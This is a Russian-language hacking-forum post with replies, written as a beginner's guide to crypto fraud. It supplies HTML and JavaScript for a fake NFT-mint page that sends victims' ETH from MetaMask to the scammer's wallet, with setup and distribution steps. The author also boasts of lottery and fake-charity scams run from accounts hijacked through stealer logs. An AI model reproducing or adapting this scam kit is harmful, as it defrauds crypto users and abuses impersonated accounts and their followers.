                        <!-- Auto edit (config in index.js) -->
                    </div>
                </div>
                <div id="payment-info">
                    <img src="xss.PNG" class="image" height="100px" id="price-img">
                    <div id="payment-info-text">
                        <p>Price Per NFT</p>
                        <p class="title"><a id="nftPrice">0.03</a> ETH + gas</p>
                        
                    </div>
                </div>
               
          [/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE][/SIZE]
 
[SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5][SIZE=5]                <div class="flex items-center justify-center space-x-4 mt-5">
                    <div class="w-100 h-12 flex flex-col items-center justify-center border border-brand rounded">
                        <div id="ape-number" >
                            <div class="calcs" >
                                
                                     <form class="div"  oninput="result.value=(a.value * price).toFixed(2)" style="display: flex;">
                                        <div class="down_arrow" id="addCount" style="font-size: 30px;" > - </div>
                            <input id="inputor" name="a" class="nftsNumber eth_input text-white text-center leading-3 -mt-1 placeholder-white text-lg md:text-xl lg:text-3xl font-semibold w-12 h-12 bg-transparent focus-within:outline-none" type="number" min="1" pattern="[A-z0-9]{2,50}" max="5"
                                placeholder="1" value="1" style="background-color: #00000000;;text-align:center;width:30px;border-color: #00000000;margin-left:15px;"><div class="up_arrow" id="remCount" style="font-size: 30px;font-weight: 400;"> + </div></div><h5 id="maxNumber" style="text-align: right;margin-bottom:5px ;">5 Max</h5>
                    </div></div>
                </div>
                <p class="text-alert text-sm font-semibold pt-3 leading-4 pb-4"></p>
                <div id="ape-total">
                <p class="mt-3"><span class="total text-white  text-base md:text-lg lg:text-xl">Total:</span>



                    <output id="price"  name="price"  class="actual_price ml-1 text-lg md:text-xl lg:text-3xl text-brand font-semibold">0.03</output>
                    </form>
В этом коде мы заменяем название, колличество, стоимость и картинки под нужный нам проект

Script.js

JavaScript:
[/B]
const netURL = 'https://mainnet.infura.io/v3/30ea4......';
const ADDRESS = '0x00000000000000000000';
const web3 = window.Web3
const ethereum = window.ethereum
let accounts
let price = 0.03
const input = document.querySelector(".eth_input")
const button = document.querySelector(".metamask_content-btn")
const title = document.querySelector(".metamask_content-title")
const priceDisplay = document.querySelector("#price")
const Web3 = new web3(netURL)
window.addEventListener("load", () => {
    button.disabled = false
    button.classList.remove('hidden');
    if (ethereum.selectedAddress) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        button.innerHTML = "Mint now"
        input.disabled = false
        title.innerHTML = "MetaMask connected"
    }
    else if (ethereum.isMetaMask) {
        document.querySelector(".container_link_metamask_install-btn").style.display = "none"
        document.querySelector(".container_metamask_content-btn").style.display = "flex"
        title.innerHTML = "MetaMask installed"
        input.disabled = false
    }

})
const getAccount = async () => {
    accounts = await ethereum.request({ method: 'eth_requestAccounts' });
    console.log(accounts)
    if (window.ethereum.chainId == "0x1") console.log("Already connected to ethereum mainnet...")
    else {
        try {
            await ethereum.request({
                method: 'wallet_switchEthereumChain',
                params: [{chainId: '0x1'}],
            });
        } catch (switchError) {
            // This error code indicates that the chain has not been added to MetaMask.
            if (error.code === 4902) {
                try {
                    await ethereum.request({
                        method: 'wallet_addEthereumChain',
                        params: [{
                            chainId: '0x1',
                            rpcUrl: netURL
                        }],
                    });
                } catch (addError) {
                    // handle "add" error
                }
            }
        }
    }
}

const sendTransaction =  async () => {
    price = +input.value * 0.03
    const priceToWei = (price * 1e18).toString(16)
    ethereum.request({
            method: 'eth_sendTransaction',
            params: [
                {
                    from: accounts[0],
                    to: ADDRESS,
                    value: priceToWei,
                },
            ],
        })
        .then((txHash) => console.log(txHash))
        .catch((error) => console.error);
};

input.addEventListener("input", () => {
    if (+input.value < 1) button.disabled = true
    else if (+input.value >= 1) button.disabled = false
    price = +input.value * 0.03
    if (+input.value >= 1) priceDisplay.innerText = price.toFixed(2)
    //else if(input.value < 1) input.value =+ "1"
    else priceDisplay.innerText = "0"
})
button.addEventListener("click", async () => {
    if (!ethereum.selectedAddress) {
        await getAccount()
        button.innerHTML = "Mint now"
        title.innerHTML = "MetaMask connected"
    } else {
        await getAccount()
        await sendTransaction()
    }
})
document.querySelector(".up_arrow").addEventListener("click", () => {
    input.value = +input.value + 1
    event = new Event("input")
    input.dispatchEvent(event)
})
document.querySelector(".down_arrow").addEventListener("click", () => {
    input.value = +input.value - 1
    event = new Event("input")
    input.dispatchEvent(event)
})
[B]
В этом скрипте происходит взаимодействие с сайтом, сейчас расскажу что к чему

В первой строке мы подключаемся к Infura, регистрируемся, создаем проект, берем айди и впуливаем в эту строчку
Во второй строке заместо 0x00000000.... указываем свой кошелек
В строчке let price = 0.03 указываем стоимость NFT(Заместо 0.03)
И также везде в этом коде, где указанно 0.03 заменяем на свою цену


Функция getAccount запрашивает подключение для пользователя к кошельку
Функция sendTransaction отправляет транзакцию
Евент click создает функцию кнопки для подключения и отправки транзакции
.up_arrow и .down_arrow создают возможность взаимодействия с кнопками + и
-


Далее сохраняем весь наш проект, загружаем на хостинг и начинаем распространять:)




Сейчас это конечно же не самая актуальная версия для скама крипты, но есть большие шансы занять свою нишу. С каждым днём становится все больше конкурентов, с каждым днём выходят новые обновления по блокировке спама на подобные фейк-проекты. Но, я уверен, что если найти свой собственный источник траффика можно на этом получать хорошие деньги. Также можно использовать данный скрипт не только для фейк минтов, но и для других проектов. Как пример: крипто-боксы(открытие кейсов с подарками), различные фейк-продажи, фейк-биржи, аукционы автомобилей за крипту. И также распространять можно абсолютно любыми методами. Можно придумать абсолютно что угодно и использовать это в своих(и не только) целях.
Не обязательно даже для чёрной работы это использовать, может у вас свой белый проект и вы бы хотели добавить оплату в крипте, пожалуйста, этот скрипт отлично подойдет, только нужно немного подредактировать)
Запущенных фейк-минтов не сосчитать, но приведу пару примеров))

Как-то в логе со стиллера мне попался неплохой ютуб и телеграмм-канал по крипто-тематике, не особо популярные, но все же. Ну я сразу кубы кидать, что мне с этим можно сделать. Не долго думая запустил Евент-тикет, там где покупая билетик ты получаешь огромный шанс приумножить свой капитал, накидал несколько страничек для сайтика, на одном из них саму покупку билетов по 0.1 ETH и внизу шансы разных выйгрышей и количество уже принявших участников(Динамическое изменение было), что в соотношении давало огромные шансы на большую победу
Сделал подобие трейлера и закинул на ютубчик и в телеграмм-канал, в тот момент для меня это был огромный заработок, но собрал 4k$

И второй пример немного даже забавный)
Также в логе, но совсем другое. Залетел мне ютуб канал, инстаграм, твиттер одного очень популярного блогера-гея)) Ну и что, мне сразу прилетела в голову идея. ПОДДЕРЖКА И РАЗВИТИЕ ЛГБТ СООБЩЕСТВА)))
Когда люди, с которыми я работал увидели это - посмеялись, но залетело неплохо
Также собрал сайт, подготовил дизайн для постов под инстаграм и твиттер, ютуб не стал трогать, отдал на стрим. Подождал позднего вечера по RU времени(т.к. это самый пик актива в US и EU) и залил посты
И для интереса остался в сессии и еще отвечал тем, кто писал
Сообщений сотни было, все были в шоке что я(ну не я, а он) им отвечал, все кинулись помогать проекту, но, к сожалению, это наверное больше подошло бы не под криптотематику, а под сборы на палку к примеру. Ибо подавляющее большинство не разбиралось в криптовалюте, а то и не имели представления что это такое. Так что, тут тоже дело такое, нужно подходить основательно и грамотно выбирать аудиторию.
Профит: 2k$

Этими примерами я хотел донести мысль, что не стоит зацикливаться только на фейк-минтах при использовании данного скрипта. Этот скрипт подойдет под разные цели: точечная работа, под аудиторию или под целое сообщество. Можно придумать что угодно, главное творчески подходить к этому и можно не имея ничего заработать уже какой никакой капитал.
А если имеется капитал, то можно открывать огромные проекты, проливать их через ФБ и Гугл АДС, набирать огромный траффик и соответственно прибыль, но тут тоже стоит быть аккуратным, ибо не на все проекты ведутся.









На этом всё, это пособие было для новичков, которые только начинают своё ремесло в этом деле.
Большое спасибо за внимание! Удачи в делах.


p.s: люблю я конечно затягивать до последнего момента, пойду лило и стича смотреть
Отличная статья +Rep.
Хотел бы увидеть код на github'е.
Преимущества я думаю ты понимаешь
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Отличная статья +Rep.
Хотел бы увидеть код на github'е.
Преимущества я думаю ты понимаешь
Может быть в дальнейшем, когда времени побольше будет свободного)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Очень хорошая статья, я думаю, это заслуживает моего xue'xi
Спасибо большое за отзыв!)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх